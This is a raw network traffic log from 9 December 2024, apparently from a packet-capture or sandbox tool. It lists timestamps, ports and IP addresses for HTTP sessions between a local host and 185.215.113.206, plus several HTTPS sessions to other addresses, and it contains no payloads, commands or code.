Dec 9, 2024 18:20:09.072894096 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.072938919 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.072969913 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.073012114 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.073683023 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.073733091 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.073791027 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.073829889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.074645996 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.074697018 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.074770927 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.074821949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.075628996 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.075683117 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.075735092 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.075789928 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.076597929 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.076653957 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.076708078 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.076756001 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.077534914 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.077599049 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.077688932 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.077739954 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.078480959 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.078528881 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.078614950 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.078655005 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.079499006 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.079551935 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.079760075 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.079801083 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.080483913 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.080534935 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.080564022 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.080605030 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.081365108 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.081413031 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.081490040 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.081538916 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.082390070 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.082438946 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.082492113 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.082539082 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.083442926 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.083494902 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.083523035 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.083575010 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.084228039 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.084270000 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:09.084302902 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:09.084338903 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:10.435092926 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.435137033 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:10.435209036 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.518286943 CET	49714	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.518331051 CET	443	49714	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:10.518398046 CET	49714	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.518799067 CET	49715	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.518819094 CET	443	49715	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:10.518929005 CET	49715	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.519107103 CET	49714	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.519121885 CET	443	49714	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:10.519279957 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.519292116 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:10.519473076 CET	49715	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.519485950 CET	443	49715	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:10.625269890 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.625320911 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:10.625458956 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.626633883 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:10.626648903 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.207427025 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.207691908 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.207710028 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.208839893 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.208894014 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.210149050 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.210222006 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.210413933 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.210422039 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.210459948 CET	443	49715	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.210617065 CET	49715	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.210623980 CET	443	49715	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.211673021 CET	443	49715	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.211726904 CET	49715	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.212033033 CET	49715	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.212106943 CET	443	49715	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.212199926 CET	49715	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.212205887 CET	443	49715	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.260898113 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.261004925 CET	49715	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.274693966 CET	49715	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.274760962 CET	443	49715	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.274810076 CET	49715	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.317634106 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.317856073 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.317876101 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.318906069 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.318958998 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.319328070 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.319390059 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.319482088 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.319489002 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.374556065 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.402205944 CET	443	49714	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.402472019 CET	49714	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.402487993 CET	443	49714	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.403594017 CET	443	49714	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.403654099 CET	49714	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.403954029 CET	49714	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.404019117 CET	443	49714	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.404083967 CET	49714	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.404097080 CET	443	49714	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:12.452681065 CET	49714	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:12.876236916 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:12.876302004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:13.065531969 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.065813065 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.065845966 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.065867901 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.065882921 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.065927029 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.065933943 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.066162109 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.066214085 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.067030907 CET	49713	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.067039967 CET	443	49713	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.186093092 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.186333895 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.186382055 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.186387062 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.186419964 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.186461926 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.186471939 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.201491117 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.201518059 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.201545954 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.201575994 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.201620102 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.205688953 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.218826056 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.218868971 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.218873024 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.218899965 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.218945026 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.249069929 CET	443	49714	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.250838995 CET	443	49714	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.250894070 CET	49714	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.251753092 CET	49714	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.251769066 CET	443	49714	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.373339891 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.379129887 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.379189968 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.379219055 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.389153004 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.389218092 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.389245033 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.397716045 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.397763014 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.397797108 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.409910917 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.409980059 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.410010099 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.423775911 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.423825979 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.423854113 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.437681913 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.437741041 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.437777042 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.456286907 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.456368923 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.456418037 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.482089996 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.482176065 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.482213020 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.492573023 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.492605925 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.492626905 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.492638111 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.492686987 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.499629021 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.501974106 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.502032042 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.502041101 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.546171904 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.564127922 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.567167044 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.567219019 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.567233086 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.575540066 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.575593948 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.575603008 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.583025932 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.583076000 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.583084106 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.590512991 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.590563059 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.590569973 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.602763891 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.602813005 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.602819920 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.615282059 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.615329027 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.615338087 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.625783920 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.625834942 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.625842094 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.636460066 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.636511087 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.636518002 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.662116051 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.662178040 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.662185907 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.663467884 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.663512945 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.663520098 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.668798923 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.668850899 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.668858051 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.679174900 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.679229975 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.679244041 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.690073967 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.690105915 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.690138102 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.690145969 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.690185070 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.700514078 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.709853888 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.709907055 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.709914923 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.721080065 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.721134901 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.721142054 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.727927923 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.727978945 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.727986097 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.736886978 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.736937046 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.736943960 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.745076895 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.745109081 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.745126009 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.745134115 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.745172977 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.746412039 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.754988909 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.755045891 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.755053043 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.761116028 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.761172056 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.761178970 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.766320944 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.766381979 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.766388893 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.788141966 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.788268089 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.788285971 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.791553020 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.791615963 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.791624069 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.791634083 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.791675091 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.794482946 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.797517061 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.797574997 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.797583103 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.802015066 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.802068949 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.802074909 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.804989100 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.805175066 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.805181980 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.808871031 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.808932066 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.808940887 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.810101986 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.810157061 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.810164928 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.813051939 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.813112020 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.813127041 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.813283920 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:13.813329935 CET	443	49716	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:13.813383102 CET	49716	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:14.641129971 CET	49734	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:14.641174078 CET	443	49734	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:14.641273975 CET	49734	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:14.641495943 CET	49734	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:14.641510963 CET	443	49734	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:15.148909092 CET	49735	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:15.148957014 CET	443	49735	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:15.149048090 CET	49735	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:15.149668932 CET	49735	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:15.149682045 CET	443	49735	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:16.216777086 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:16.217051983 CET	49747	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:16.332452059 CET	443	49734	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:16.332715988 CET	49734	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:16.332734108 CET	443	49734	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:16.333076000 CET	443	49734	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:16.333462954 CET	49734	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:16.333533049 CET	443	49734	142.250.181.100	192.168.2.6
Dec 9, 2024 18:20:16.336136103 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:16.336395979 CET	80	49747	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:16.336467981 CET	49747	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:16.336692095 CET	49747	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:16.374550104 CET	49734	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:16.456199884 CET	80	49747	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:17.306142092 CET	49750	443	192.168.2.6	172.217.17.78
Dec 9, 2024 18:20:17.306175947 CET	443	49750	172.217.17.78	192.168.2.6
Dec 9, 2024 18:20:17.306276083 CET	49750	443	192.168.2.6	172.217.17.78
Dec 9, 2024 18:20:17.307885885 CET	49750	443	192.168.2.6	172.217.17.78
Dec 9, 2024 18:20:17.307898045 CET	443	49750	172.217.17.78	192.168.2.6
Dec 9, 2024 18:20:17.568850994 CET	443	49735	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:17.571877003 CET	49735	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:17.575846910 CET	49735	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:17.575855017 CET	443	49735	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:17.576147079 CET	443	49735	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:17.579771996 CET	49735	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:17.579837084 CET	49735	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:17.579843998 CET	443	49735	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:17.580759048 CET	49735	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:17.627335072 CET	443	49735	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:18.129520893 CET	443	49735	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:18.129914045 CET	443	49735	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:18.129990101 CET	49735	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:18.130805969 CET	49735	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:18.130805969 CET	49735	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:18.130820990 CET	443	49735	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:18.188100100 CET	80	49747	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:18.188158989 CET	49747	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:18.491549015 CET	49747	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:18.549942970 CET	49734	443	192.168.2.6	142.250.181.100
Dec 9, 2024 18:20:18.551474094 CET	49750	443	192.168.2.6	172.217.17.78
Dec 9, 2024 18:20:18.610838890 CET	80	49747	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:19.440411091 CET	80	49747	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:19.440713882 CET	49747	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:24.445498943 CET	80	49747	185.215.113.206	192.168.2.6
